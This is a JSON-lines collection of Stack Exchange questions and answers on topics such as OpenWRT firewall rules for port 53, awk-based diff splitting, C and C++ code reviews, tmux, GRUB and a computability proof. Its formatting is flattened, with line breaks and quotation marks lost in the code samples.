{  "id": "_unix.303024"  , "question": "I have a TP-Link WDR4300 router with OpenWRT BarrierBreaker (vargalex build ver. 1.1.7).I use due to my Raspberry (SMB, PMA, Plex, etc) DDNS (duckdns.org) to reach my Router outside of my LAN (I've tried to configure VPN on the router, but somehow I can't find the right configuration). My services are using theese ports: 139, 445, 8080, 8081, 8877, 56565 but somewhy 53 (dnsmasq) port is opened from WAN and I can't block it.netstat outputs:netstat -annetstat -plnnslookup output:> server <myremoteaddress>.duckdns.orgDefault Server:  remoteconnection.duckdns.orgAddress:  <myipaddress>> google.com.Server:  <myremoteaddress>.duckdns.orgAddress:  <myipaddress>Non-authoritative answer:Name:    google.comAddresses:  xxxx:yyyy:400d:zzzz::200e          ***.***.72.20          ***.***.72.34          ***.***.72.45          ***.***.72.24          ***.***.72.49          ***.***.72.44          ***.***.72.39          ***.***.72.25          ***.***.72.30          ***.***.72.54          ***.***.72.40          ***.***.72.29          ***.***.72.50          ***.***.72.59          ***.***.72.55          ***.***.72.35I'm using Google DNS (8.8.8.8, 8.8.4.4).I've tried to add some rule to block port 53, unsuccessfully...There are the rules what I've added to the firewall config (/etc/config/firewall) and connected to the desired port:config rule    option src 'wan'    option name 'block_port_53'    option dest_port '53'    option target 'REJECT'    option proto 'all'config rule    option target 'ACCEPT'    option proto 'tcp udp'    option dest_port '53'    option name 'Guest DNS'    option src 'guest'    option enabled '0'config rule    option src 'wan'    option dest 'lan'    option name 'restrict_dns_53_lan'    option dest_port '53'    option target 'REJECT'config rule    option src 'wan'    option dest_port '53'    option name 'restrict_dns_forward'    option target 'REJECT'    option proto 'tcp udp'    option dest 'lan'Guest DNS is currently disabled and it is for the Guest WiFi (it's the Guest DNS zone).What am I doing wrong?The main reason to block port 53 is the chinese bots which is trying to rebind my DNS. My router's System Log is full of this:Jul  4 20:12:53 dnsmasq[2524]: possible DNS-rebind attack detected: 9406151-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.myxns.cnJul  4 20:12:53 dnsmasq[2524]: possible DNS-rebind attack detected: 9406163-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.ffdns.netJul  4 20:12:53 dnsmasq[2524]: possible DNS-rebind attack detected: 9406153-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.myxns.cnJul  4 20:12:54 dnsmasq[2524]: possible DNS-rebind attack detected: 9406166-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.ffdns.netJul  4 20:12:54 dnsmasq[2524]: possible DNS-rebind attack detected: 9406154-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.myxns.cnJul  4 20:12:54 dnsmasq[2524]: possible DNS-rebind attack detected: 9406157-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.ffdns.netJul  4 20:12:54 dnsmasq[2524]: possible DNS-rebind attack detected: 9406156-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.myxns.cnJul  4 20:12:54 dnsmasq[2524]: possible DNS-rebind attack detected: 9406148-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.myxns.cnJul  4 20:12:54 dnsmasq[2524]: possible DNS-rebind attack detected: 9406149-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.myxns.cnJul  4 20:12:54 dnsmasq[2524]: possible DNS-rebind attack detected: 9406155-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.myxns.cnJul  4 20:12:54 dnsmasq[2524]: possible DNS-rebind attack detected: 9406160-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.ffdns.netJul  4 20:12:55 dnsmasq[2524]: possible DNS-rebind attack detected: 9406164-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.ffdns.netJul  4 20:12:55 dnsmasq[2524]: possible DNS-rebind attack detected: 9406158-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.ffdns.netJul  4 20:12:55 dnsmasq[2524]: possible DNS-rebind attack detected: 9406150-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.myxns.cnJul  4 20:12:55 dnsmasq[2524]: possible DNS-rebind attack detected: 9406161-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.ffdns.netJul  4 20:12:55 dnsmasq[2524]: possible DNS-rebind attack detected: 9406147-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.myxns.cnJul  4 20:12:55 dnsmasq[2524]: possible DNS-rebind attack detected: 9406152-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.myxns.cnJul  4 20:12:56 dnsmasq[2524]: possible DNS-rebind attack detected: 9406162-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.ffdns.netJul  4 20:12:57 dnsmasq[2524]: possible DNS-rebind attack detected: 9406159-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.ffdns.netJul  4 20:12:58 dnsmasq[2524]: possible DNS-rebind attack detected: 9406165-0-1896986649-4159633587.ns.113-17-184-25-ns.dns-spider.ffdns.netJul  4 20:15:24 dnsmasq[2524]: possible DNS-rebind attack detected: 4376755-0-3084195388-824858262.ns.183-213-22-60-ns.dns-spider.ffdns.netJul  4 20:15:24 dnsmasq[2524]: possible DNS-rebind attack detected: 4376759-0-3084195388-824858262.ns.183-213-22-60-ns.dns-spider.ffdns.netJul  4 20:15:24 dnsmasq[2524]: possible DNS-rebind attack detected: 4376746-0-3084195388-824858262.ns.183-213-22-60-ns.dns-spider.myxns.cnJul  4 20:15:24 dnsmasq[2524]: possible DNS-rebind attack detected: 4376741-0-3084195388-824858262.ns.183-213-22-60-ns.dns-spider.myxns.cnJul  4 20:15:24 dnsmasq[2524]: possible DNS-rebind attack detected: 4376750-0-3084195388-824858262.ns.183-213-22-60-ns.dns-spider.myxns.cnJul  4 20:15:26 dnsmasq[2524]: possible DNS-rebind attack detected: 4376756-0-3084195388-824858262.ns.183-213-22-60-ns.dns-spider.ffdns.netJul  4 20:15:26 dnsmasq[2524]: possible DNS-rebind attack detected: 4376752-0-3084195388-824858262.ns.183-213-22-60-ns.dns-spider.ffdns.netJul  4 20:15:26 dnsmasq[2524]: possible DNS-rebind attack detected: 4376760-0-3084195388-824858262.ns.183-213-22-60-ns.dns-spider.ffdns.netJul  4 20:15:26 dnsmasq[2524]: possible DNS-rebind attack detected: 4376754-0-3084195388-824858262.ns.183-213-22-60-ns.dns-spider.ffdns.netJul  4 20:15:26 dnsmasq[2524]: possible DNS-rebind attack detected: 4376758-0-3084195388-824858262.ns.183-213-22-60-ns.dns-spider.ffdns.netJul  4 20:15:26 dnsmasq[2524]: possible DNS-rebind attack detected: 4376753-0-3084195388-824858262.ns.183-213-22-60-ns.dns-spider.ffdns.netPlease help me get rid of them."  , "title": "OpenWRT - Can't block DNS port (53) from WAN-LAN direction"  , "tags": "dns;port forwarding;openwrt;dnsmasq"  , "accepted_answer": "Have you tried option proto 'tcpudp'?  Both the documentation & how this works in iptables implies this is needed, when you specify port numbers.  tcpudp is actually the default.  So you don't want to use all or tcp udp (nor udp, as DNS can use both protocols in normal operation).[openwrt] Match incoming traffic directed at the given destination port or port range, if relevant proto is specified.[iptables] These extensions can be used if `--protocol tcp' is specified. It provides the following options: ... --destination-port"  } 
{  "id": "_cstheory.18533"  , "question": "Consider this problem: Find a tiling of an $m \\times n$ rectangle by minimum number of integer-sided squares.Is there any polynomial time (in $m$ and $n$) algorithm to do this? What is the best known algorithm?"  , "title": "Tiling a rectangle with the fewest squares"  , "tags": "ds.algorithms;co.combinatorics"  } 
{  "id": "_unix.342962"  , "question": "I'm trying to compare a new file (e.g., new.txt) to an old file (e.g., old.txt) to see what was added in the new file. I'm trying to add the newly added information to a new file called newCourses.txt and the modified information to modifiedCourses.txt. If this is not possible with a diff, what are the alternatives without installing a package or software?old.txt2016 2BUSI 4850 K002 BUSINESS MW 02:10P-09:30P2016 2BUSI 4840 K002 PRESPECH MW 07:10P-09:30P2016 2BUSI 4820 K002 SCHLOFSC MW 07:10P-09:30P2016 2BUSI 4870 K002 HISTORYZ MW 04:10P-09:30Pnew.txt2016 2BUSI 4850 K002 BUSINESS MW 07:10P-09:30P2016 2BUSI 4840 K002 PRESPECH MW 07:10P-09:30P2016 2BUSI 4820 K002 SCHLOFSC MF 07:10P-09:30P2016 2BUSI 4870 K002 HISTORYZ MW 06:10P-09:30P2017 4NONE 2938 K112 RECREATI TS 11:10P-11:55PThe output when I do diff old.txt new.txt:1c1< 2016 2BUSI 4850 K002 BUSINESS MW 02:10P-09:30P---> 2016 2BUSI 4850 K002 BUSINESS MW 07:10P-09:30P3,4c3,5< 2016 2BUSI 4820 K002 SCHLOFSC MW 07:10P-09:30P< 2016 2BUSI 4870 K002 HISTORYZ MW 04:10P-09:30P\\ No newline at end of file---> 2016 2BUSI 4820 K002 SCHLOFSC TF 07:10P-09:30P> 2016 2BUSI 4870 K002 HISTORYZ MW 06:10P-09:30P> 2017 4NONE 2938 K112 RECREATI TS 11:10P-11:55P\\ No newline at end of fileHow can I output it to two different files such asnewCourses.txt would contain2017 4NONE 2938 K112 RECREATI TS 11:10P-11:55Pand modifiedCourses.txt would contain2016 2BUSI 4850 K002 BUSINESS MW 07:10P-09:30P2016 2BUSI 4820 K002 SCHLOFSC TF 07:10P-09:30P2016 2BUSI 4870 K002 HISTORYZ MW 06:10P-09:30P"  , "title": "Saving diffs to two files for modified and new additions"  , "tags": "text processing;command line;diff"  , "accepted_answer": "You could use awk:awk 'NR==FNR{ z[$5]=$0; next}{ if ($5 in z){ if ($0!=z[$5]){print >modifiedCourses.txt}} else { print >newCourses.txt}}' old.txt new.txtThis reads old.txt and saves the lines into an array (the indices are the names of the courses) and then reads new.txt and for each course it checks if it's an index of the array: if it is, it checks if the line has changed and if so it prints it to modifiedCourses.txt ; if not an index, it prints the line to newCourses.txtYou can change $0 to $7 if the only change that matters is the hours."  } 
{  "id": "_unix.190308"  , "question": "I am trying to install synergy from here. When I run it I get the error:system tray unavailable, quittingI am running Freya. Any help would be appreciated or the name of different software to share my mouse and keyboard with a Windows machine."  , "title": "Synergy and ElementaryOS"  , "tags": "elementary os;synergy"  } 
{  "id": "_unix.282048"  , "question": "I have deleted (because of errors) the /tmp folder, which contains the pulseaudio folder.The question is: how to restart pulseaudio without restarting X11?If I restart X11, pulseaudio works fine. I have triedstart-pulseaudio-x11 which gives this errorN: [pulseaudio] main.c: User-configured server at {54116d3eeebf4e5b5e1f50d757286535}unix:/tmp/pulse-l7iX3tHbLHHy/native, refusing to start/autospawn.Connection failure: Connection refusedpa_context_connect() failed: Connection refusedI have tried this pulseaudio --startand it gives this errorN: [pulseaudio] main.c: User-configured server at {54116d3eeebf4e5b5e1f50d757286535}unix:/tmp/pulse-l7iX3tHbLHHy/native, refusing to start/autospawn.How do I restart pulseaudio?p.s. Of course I have killed the previous pulseaudio daemon. "  , "title": "Pulseaudio: how to restart without restart X11 if delete tmp?"  , "tags": "pulseaudio"  } 
{  "id": "_codereview.159659"  , "question": "I have implemented the CoR pattern in c++11 using smart_ptr for association between chain of receivers. The client owns all the receiver objects(which can be created and destroyed at runtime) and the receiver object maintain weak_ptr for subsequent request handler.// ChainOfResponsibility.cpp : Defines the entry point for the console application.//#include stdafx.h#include <memory>#include <tuple>#include <string>#include <iostream>#include <vector>// Event, sent from sender to many receivers. The first parameter decides who should handle.using Event = std::tuple<int, std::string>;//Abstract class which manages the link to the subsequent classes.class Handler {public:    Handler(std::shared_ptr<Handler> successor = nullptr) :m_successor(successor) {}    virtual void handle(Event e) = 0;    virtual  ~Handler() {}protected:    std::weak_ptr<Handler> m_successor;};//clients need to implement handle functionclass Agent : public Handler {public:    Agent(std::shared_ptr<Handler> successor = nullptr):Handler(successor) {}    void handle(Event e) override {        if (std::get<0>(e) == 1) {            std::cout << Agent handled the request:  + std::get<1>(e) << std::endl;        }        else {            try {                std::shared_ptr<Handler> ptr(m_successor);                ptr->handle(e);            }            catch(std::bad_weak_ptr) {                std::cout << No successor handler << std::endl;            }        }    }    virtual  ~Agent() override {}};class Supervisor : public Handler {public:    Supervisor(std::shared_ptr<Handler> successor = nullptr) :Handler(successor) {}    void handle(Event e) override {        if (std::get<0>(e) == 2) {            std::cout << Supervisor handled the request:  + std::get<1>(e) << std::endl;        }        else {            try {                std::shared_ptr<Handler> ptr(m_successor);                ptr->handle(e);            }            catch (std::bad_weak_ptr) {                std::cout << No successor handler << std::endl;            }        }    }    virtual  ~Supervisor() override {}};class Boss : public Handler {public:    Boss(std::shared_ptr<Handler> successor = nullptr) :Handler(successor) {}    void handle(Event e) override {        if (std::get<0>(e) == 3) {            std::cout << Boss handled the request:  + std::get<1>(e) << std::endl;        }        else {            try {                std::shared_ptr<Handler> ptr(m_successor);                ptr->handle(e);            }            catch (std::bad_weak_ptr) {                std::cout << No successor handler << std::endl;            }        }    }    virtual  ~Boss() override {}};int main() {    //three receivers owned by the client    auto boss = std::make_shared<Boss>();    auto supervisor = std::make_shared<Supervisor>(boss);    auto agent = std::make_shared<Agent>(supervisor);    //events    std::vector<Event> events;    events.push_back(std::make_tuple(1, Technical support));    events.push_back(std::make_tuple(2, Billing query));    events.push_back(std::make_tuple(1, Product information query));    events.push_back(std::make_tuple(5, Police issue));    events.push_back(std::make_tuple(3, Enterprise client request));    for (auto e : events) {        agent->handle(e);    }    //receivers may be released at run time.    boss.reset();    for (auto e : events) {        agent->handle(e);    }    return 0;}Please review this and suggest me the improvemnt.Assumption: Performance is not a primary concern.Please suggest me an elegant implementation if you have seen somewhere else."  , "title": "Chain-of-Responsibility in C++11 using smart pointers"  , "tags": "c++;c++11;design patterns"  , "accepted_answer": "First nit: boss and supervisor strike me as basically synonymous. So it's kind of confusing that you're using both of them as identifiers in your program. Are these identifiers supposed to be meaningful, or are they just placeholders like Alice or Bob?Also a nit: If your destructor doesn't do anything, don't write it.virtual  ~Boss() override {}is just a waste of characters. (The definition of ~Handler() is important because you have to hang the virtual specifier on it; but the definition of ~Boss() is perfectly redundant.)//receivers may be released at run time.boss.reset();I think I don't get it. If this line had instead read supervisor.reset(), wouldn't boss have become unreachable, as far as handling requests was concerned? (Because requests go first to agent; then to agent->m_successor if it's non-null; but supervisor is gone, so handling just stops there.)This seems like a bug in your design.void handle(Event e) override {    // ...            ptr->handle(e);This function call makes a copy of Event e, which might be expensive since Event contains an arbitrarily long std::string. You could fix this in either of two ways: either by changing the function signature tovoid handle(const Event& e)(throughout the whole hierarchy, of course), or else by changing the function call to            ptr->handle(std::move(e));  // move, don't copyI know you said performance isn't a concern, but any time you're using exception handling for control flow you should really reconsider your design. Instead of throwing and catching bad_weak_ptr, I'd recommend    if (std::get<0>(e) == 1) {        std::cout << Agent handled the request:  + std::get<1>(e) << std::endl;    } else if (auto ptr = m_successor.lock()) {        ptr->handle(e);    } else {        std::cout << No successor handler << std::endl;    }As for how your list of handlers should be defined: almost certainly you should just use a list of handlers (i.e. std::list<Handler>  or std::list<std::weak_ptr<Handler>> if you really want to keep your original design's ability to have handlers drop out of the list at random).I don't think that a Handler ought to have any idea of its parent; unless... do you think that the parent of a given handler is part of its identity? For example, in my example above, do you think it does actually make sense that if an Agent's Supervisor dies, the Agent would have no way of contacting his late Supervisor's Boss, so certain requests would go unhandled? If that really is a feature-not-a-bug, then okay.Lastly, even if everything else about this design were good, it's unsettling how easy it would be for someone to write a Handler class that just dropped messages on the floor.class Stockboy : public Handler {public:    Stockboy(std::shared_ptr<Handler> successor = nullptr) :Handler(successor) {}    void handle(Event e) override {        if (std::get<0>(e) == 7) {            std::cout << Stockboy handled the request:  + std::get<1>(e) << std::endl;        }    }};IMO, it would be better to take the responsibility for forwarding unhandled messages and move that responsibility right out of the Handler class. Give it to a Dispatcher class whose job is to find the right Handler and call it. The Dispatcher might hold a mapping of ints to handlers so that it could find the right recipient quickly; or it might just query each handler in turn until some handler reports success."  } 
{  "id": "_unix.183572"  , "question": "while read wholelinedo  echo ${wholeline} --outputs John Jones  #grab all the lines that begin with these values  #grep '^John Jones' workfile2   --works, prints contents of workfile2 where the 1st matches  grep '^${wholeline}' workfile2  # --does not work. why? it should be the same result.done < workfile1workfile1 contains the value John Jones at the beginning of the line in the file.workfile2 contains the value John Jones at the beginning of the line in the file.How can I change that second grep statement so that it works?It is picking up nothing."  , "title": "Script to `grep` a file with variable"  , "tags": "bash;text processing;grep"  , "accepted_answer": "You are using single quotes, try using double quotes. For the shell to expand variables, you need to use double quotes. while read wholelinedo  echo ${wholeline} --outputs John Jones  #grab all the lines that begin with these values  #grep '^John Jones' workfile2   # --works, prints contents of workfile2                                  # where the 1st matches  grep ^${wholeline} workfile2  # --does work now, since shell                                   # expands ${wholeline} in double quotesdone < workfile1"  } 
{  "id": "_codereview.139904"  , "question": "I finally got around to redoing my Temperature conversion program. I incorporated many elements of everyone's comments, and am uploading the finished program. Any new, or problems that I missed? Maybe a few very late here where I am working. Main focus of this redo was keeping my functions short and single purposed. #include <stdio.h>void inter_face();void welcome();void option_prompt();void input_temp_prompt();int get_option();float get_input_temp();void display_F_to_C(float);void display_C_to_F(float);void display_off();void display_error();float F_to_C(float);float C_to_F(float);enum { F_TO_C = 1, C_TO_F = 2, OFF = 3 } option_type;int main(){    inter_face();    getchar();}void inter_face(){    int option = -1;    float input_temp = 0.0;    welcome();    while (option != OFF) {        option_prompt();        option = get_option();        if (option == F_TO_C || option == C_TO_F) {            input_temp_prompt();            input_temp = get_input_temp();        }        switch (option) {        case F_TO_C:            display_F_to_C(F_to_C(input_temp));            break;        case C_TO_F:            display_C_to_F(C_to_F(input_temp));            break;        case OFF:            display_off();            break;        default:            display_error();        }     } } void welcome(){    printf(Temperature conversion Calculator!!\\nPlease select an option:);    printf(\\n1.) F to C\\t2.) C to F\\t3.) off\\n\\n);}   void option_prompt(){    printf(Option: );}void input_temp_prompt(){     printf(Temp: );}float get_input_temp(){    float input_temp = 0;    scanf_s(%f, &input_temp);    return input_temp;}int get_option(){    int option;    scanf_s(%d, &option);    return option;} void display_F_to_C(float converted_temp){     printf(Celsius: %f\\n, converted_temp);}void display_C_to_F(float converted_temp){    printf(Fahrenheit: %f\\n, converted_temp);}void display_off() {    printf(OFF\\n);}void display_error(){    printf(Incorrect input, try again\\n);}float F_to_C(float input_temp) {      return (5.0 / 9.0) * (input_temp - 32);}float C_to_F(float input_temp){    return (9.0 / 5.0) * (input_temp)+32;}"  , "title": "Simple Temperature Converter 2 in C"  , "tags": "beginner;c;unit conversion"  , "accepted_answer": "Firstly, I don't quite understand why are you declaring so much functions that consist of a single line dedicated to printing a string. They are only used once and in one file, so there's no need to use a function or constant. I suggest you to get rid of them and replace calls to these functions with their bodies. Also, put break; inside default case (Here you can learn more about the reason why you should do this):    switch (option) {        case F_TO_C:            printf(Celsius: %f\\n, F_to_C(input_temp));            break;        case C_TO_F:            printf(Fahrenheit: %f\\n, C_to_F(input_temp));            break;        case OFF:            printf(OFF\\n);            break;        default:            printf(Incorrect input, try again\\n);            break;    } Secondly, I recommend to use puts() instead of printf() when printing simple strings as it is obviously simpler and places a newline automatically (And you use it often throughout your code). Note that this doesn't involve cases when printing formatted strings.    switch (option) {        case F_TO_C:            printf(Celsius: %f\\n, F_to_C(input_temp));            break;        case C_TO_F:            printf(Fahrenheit: %f\\n, C_to_F(input_temp));            break;        case OFF:            puts(OFF); // No need for printf()!            break;        default:            puts(Incorrect input, try again); // No need for printf() as well!            break;    }Thirdly, I'd suggest to move the body of inter_face() function to main() as it is not used anywhere else and basically creates a run loop, so I don't see any reasons why you should place it in a separate function. In addition to this, you probably want to define your functions before they're used, thus moving all functions above main(). It's not necessary as the compiler will find them anyway, yet I reckon the source code looks better that way (Just imagine reading a book from the end to the beginning).float F_to_C(float input_temp) {      return (5.0 / 9.0) * (input_temp - 32);}float C_to_F(float input_temp){    return (9.0 / 5.0) * (input_temp)+32;}float get_input_temp(){    float input_temp = 0;    scanf_s(%f, &input_temp);    return input_temp;}int get_option(){    int option;    scanf_s(%d, &option);    return option;} int main(){    int option = -1;    float input_temp = 0.0;    printf(Temperature conversion Calculator!!\\nPlease select an option:);    printf(\\n1.) F to C\\t2.) C to F\\t3.) off\\n\\n);            while (option != OFF) {        printf(Option: );                   option = get_option();        if (option == F_TO_C || option == C_TO_F) {            printf(Temp: );               input_temp = get_input_temp();        }        switch (option) {            case F_TO_C:                printf(Celsius: %f\\n, F_to_C(input_temp));                break;            case C_TO_F:                printf(Fahrenheit: %f\\n, C_to_F(input_temp));                break;            case OFF:                puts(OFF); // No need for printf()!                break;            default:                puts(Incorrect input, try again); // No need for printf() as well!                break;        }    }    getchar();}Fourthly, you should put function prototypes, enumerations and other objects that carry data (Of course, prototypes do not carry data, yet they belong in header files) into a separate header file (For instance, main.h). That way your source file looks a lot cleaner, and if someone wants to use these functions elsewhere, he can easily find this header file with needed prototypes within.Fifthly, I'd consider either merging or getting rid of get_option() and get_input_temp() functions as they perform the same task, just with different data types. I suggest to create a single function called get_input() that returns a float (Since float can be compared to int without requiring you worry about loosing precision) instead if you don't want to put them inside main() as we did with other redundant functions before. You may then compare these variables normally as usual arithmetic conversions from int to float will occur when comparing float to int (You can learn more about such conversions here, here and here).#include main.h // Prototypes and enum are there!    float F_to_C(float input_temp) {      return (5.0 / 9.0) * (input_temp - 32);}float C_to_F(float input_temp){    return (9.0 / 5.0) * (input_temp)+32;}float get_input(void){    float input = 0;    scanf_s(%f, &input);    return input;}int main(){    int option = -1;    float input_temp = 0.0;    printf(Temperature conversion Calculator!!\\nPlease select an option:);    printf(\\n1.) F to C\\t2.) C to F\\t3.) off\\n\\n);            while (option != OFF) {        printf(Option: );                   option = get_input();        if (option == F_TO_C || option == C_TO_F) {            printf(Temp: );               input_temp = get_input();        }        switch (option) {            case F_TO_C:                printf(Celsius: %f\\n, F_to_C(input_temp));                break;            case C_TO_F:                printf(Fahrenheit: %f\\n, C_to_F(input_temp));                break;            case OFF:                puts(OFF); // No need for printf()!                break;            default:                puts(Incorrect input, try again); // No need for printf() as well!                break;        }    }    getchar();}Also, be sure to check chux's answer. It contains even more useful tips and tricks to improve your code. Especially scanf_s() checks, option = -1 change and math simplification. "  } 
{  "id": "_unix.108330"  , "question": "Is there any way to highlight the searched term in tmux copy mode?Below is my tmux config:# remap prefix to Control + aset -g prefix C-aunbind C-bbind C-a send-prefixbind a send-prefix# force a reload of the config fileunbind rbind r source-file ~/.tmux.conf# set window start from 1set -g base-index 1# scrollback buffer n linesset -g history-limit 5000# C-a C-a for the last active windowbind-key C-a last-window# Highlight active windowset-window-option -g window-status-current-bg red# Default colorsset -g status-bg blackset -g status-fg white#unbind %bind - split-window -v#unbind ''bind | split-window -hsetw -g aggressive-resize onbind-key T swap-window -t 1# To ensure keyboard shortcuts inside Vim still work, we need to enable XTerm keybindings.# And to be sure Vim's colors aren't distorted, we enable 256 color mode#setw -g xterm-keys on#set-option -g default-terminal screen-256color# make copy mode use hjklsetw -g mode-keys vi # I especially like being able to search with /,? when in copy-modeset -g status-keys vibind-key -t vi-edit Up   history-upbind-key -t vi-edit Down history-down# set shellset -g default-command /bin/bashset -g default-shell /bin/bash# smart pane switching with awareness of vim splitsbind -n C-h run (tmux display-message -p '#{pane_current_command}' | grep -iq vim && tmux send-keys C-h) || tmux select-pane -Lbind -n C-j run (tmux display-message -p '#{pane_current_command}' | grep -iq vim && tmux send-keys C-j) || tmux select-pane -Dbind -n C-k run (tmux display-message -p '#{pane_current_command}' | grep -iq vim && tmux send-keys C-k) || tmux select-pane -Ubind -n C-l run (tmux display-message -p '#{pane_current_command}' | grep -iq vim && tmux send-keys C-l) || tmux select-pane -Rbind -n C-\\ run (tmux display-message -p '#{pane_current_command}' | grep -iq vim && tmux send-keys 'C-\\\\') || tmux select-pane -l#Sets the appearance of the left sidebarset -g status-left-length 40set -g status-left #[fg=colour39] #S #[fg=yellow] #(whoami)#Sets the appearance of the centersetw -g window-status-fg colour211setw -g window-status-bg defaultsetw -g window-status-attr dimsetw -g window-status-current-fg whitesetw -g window-status-current-bg greensetw -g window-status-current-attr brightsetw -g window-status-activity-bg redsetw -g window-status-activity-fg whitesetw -g window-status-bell-fg whitesetw -g window-status-bell-bg redsetw -g window-status-bell-attr bold#Sets the appearance of the right sidebar, i.e time and clock.set -g status-right #[fg=colour136, bright] %d %b %Rset -g status-utf8 onset -g status-interval 60set -g status-justify centre"  , "title": "tmux copy mode search highlight"  , "tags": "tmux;colors"  , "accepted_answer": "I found this information about tmux search highlighting :According to the developer1, this isn't currently possible in tmux.  http://sourceforge.net/mailarchive/message.php?msg_id=27427973Source:How do I highlight a search result in tmux?"  } 
{  "id": "_cs.57829"  , "question": "The question:Let $L_1,L_2,...$ be an enumeration of $\\mathcal{R}$ and define $A_i = \\{\\langle M\\rangle \\ | \\ L(M) = L_i\\}$. Let $L$ be a language in $\\mathcal{RE}$ such that $L \\subset \\{\\langle M\\rangle \\ | \\ \\text{M is a TM that always halts}\\}$. Prove that  there exists an $i$ for which $LA_i = $.Hint $\\downarrow$Hint: Build a TM that returns some (which?) element of $L$ and apply a diagonalization argument.My approachI thought of the Hint but I am not sure that the language I get is decidable and I don't know how to prove that all its always halting TMs are not in $L$."  , "title": "Prove that there is no computable enumeration of all decidable languages"  , "tags": "computability;turing machines;undecidability"  , "accepted_answer": "WLOG assume we are talking about languages over a binary alphabet $\\{0,1\\}$. Let $M'$ be an enumerating Turing Machine for $L$, i.e., every element of $L$ is eventually output by $M'$. Let $\\langle M_j \\rangle$ denote the $j$th TM output by $M'$. Define$$L_D = \\{ x \\mid M_x(x) \\text{ does not accept} \\},$$where $x$ is interpreted as a number in base 2. Note that $L_D$ is decidable: given $x$ you can decide if $x \\in L_D$ by running $M'$ until it outputs $x$th TM $M_x$ and then running $M_x$ on $x$ and flipping the output. This is a decider since all TMs output by $M'$ halt on all inputs. Thus $L_D$ appears in the enumeration of R, say, as $L_k$ for some $k$.It is left to show that $L \\cap A_k = \\emptyset$. Suppose that there exists a TM $M$ such that $\\langle M \\rangle \\in L \\cap A_k$. Then let $\\ell$ be the smallest number such that $\\langle M \\rangle$ is output as the $\\ell$th element by the enumerator $M'$, i.e. $M = M_\\ell$. Therefore, we have $\\ell \\in L(M) \\iff \\ell \\in L(M_\\ell) \\iff \\ell \\notin L_D \\iff \\ell \\notin L_k \\iff \\ell \\notin L(M)$, which is a contradition."  } 
{  "id": "_unix.62733"  , "question": "I'm running GRUB 2.00 on a Gentoo Linux system.I compile my own kernels manually, and then I install them in /boot with make install. I have the following kernels in /boot at the moment:# ls -1 /boot/vmlinuz*/boot/vmlinuz-3.7.4-gentoo-5/boot/vmlinuz-3.7.4-gentoo-first/boot/vmlinuz-3.7.4-gentoo-fourth/boot/vmlinuz-3.7.4-gentoo-thirdRunning grub2-mkconfig results in the following output:# grub2-mkconfig -o /boot/grub2/grub.cfgGenerating grub.cfg ...Found linux image: /boot/vmlinuz-3.7.4-gentoo-thirdFound linux image: /boot/vmlinuz-3.7.4-gentoo-fourthFound linux image: /boot/vmlinuz-3.7.4-gentoo-firstFound linux image: /boot/vmlinuz-3.7.4-gentoo-5doneIf I now read the resulting /boot/grub2/grub.cfg file, I notice that the following entries have been created:A main default entry which starts vmlinuz-3.7.4-gentoo-thirdA submenu with the all the other entries (including recovery ones), in the same order as the grub2-mkconfig commandThe problem is that at boot time I'd like to load by default the fifth revision of my kernel (vmlinuz-3.7.4-gentoo-5), not the third one (vmlinuz-3.7.4-gentoo-third). I also prefer not to access the submenu for choosing the right kernel to load.How can I change this behaviour? How can I tell GRUB that I want to run the fifth revision of my kernel by default and not the older third revision? In general, how can I change the default entry line to match the kernel I want and not a seemingly random one picked by GRUB?I also tried putting the following lines in /etc/default/grub:GRUB_DEFAULT=savedGRUB_SAVEDEFAULT=trueThis doesn't fix the problem the way I desire. But at least GRUB seems to remembers the latest kernel I booted from and automatically selects it from the submenu. It's just that I don't like to access the submenu."  , "title": "How to correctly set up the right GRUB 2 default menu entry?"  , "tags": "grub2"  } 
{  "id": "_unix.274739"  , "question": "i would like to capture as backreference something like this.Example:(a-z)But somehow anything I have tried, didn't workI try this:\\(([a-z])\\)\\ or \\('('[a-z]')'\\)\\"  , "title": "backreference sed"  , "tags": "sed"  , "accepted_answer": ">> echo (f) | sed 's/\\(([a-z])\\)/x\\1x/'x(f)x\\(([a-z])\\) is what you want."  } 
{  "id": "_cs.49901"  , "question": "I was reading Doug McIlroy: McCarthy Presents Lisp and the phrase symbolic differentiation of univariate expressions triggered a faint memory of a demonstration of differentiation done in haskell using higher order functions.  (I think my memory is of using the language to produce a function that is the differential of a function given.)  However I haven't been able to find any other reference to the above phrase in lisp or ML-based languages.  Does anyone have more information on this, and is symbolic differentiation of univariate expressions the same thing as the memory I described?"  , "title": "The symbolic differentiation of univariate expressions"  , "tags": "terminology;functional programming;mathematical programming;computer algebra"  } 
{  "id": "_softwareengineering.48575"  , "question": "I need to develop a simple declarative language to drive an application. I have various computational modules, some of them depending on other modules which also need setup. The problem is that I don't know how to manipulate the keywords. I will explain myself with an exampleTask optimizeUnits metersSystem {   // input data}Optimizer {     type Simplex     convergenceCriteria 0.001}PointEvaluator {     type MyEvaluatorTechnique     convergenceCriteria = 0.1}this is a solution, which has header very generic entities which describe the meaning of each section, but I could also have sections that explicity concern specific techniquesTask {     type optimize     optimizer Simplex}Units metersSystem {   // input data}Simplex {     convergenceCriteria 0.001     PointEvaluator MyEvaluatorTechnique}MyEvaluatorTechnique {     convergenceCriteria = 0.1}I would like to hear your opinion on which method may sound better in terms of design correctness, and pros and cons of both solutions. One thing I don't like in the first solution is, for example, the fact that depending on the type, I may have options that do not make sense for that specific type. In the second solution, however, I am setting up not the generic task (which then uses specific types of subsystem). Instead, I specify the specific subsystems performing the task."  , "title": "Declarative input language strategies"  , "tags": "design;declarative programming"  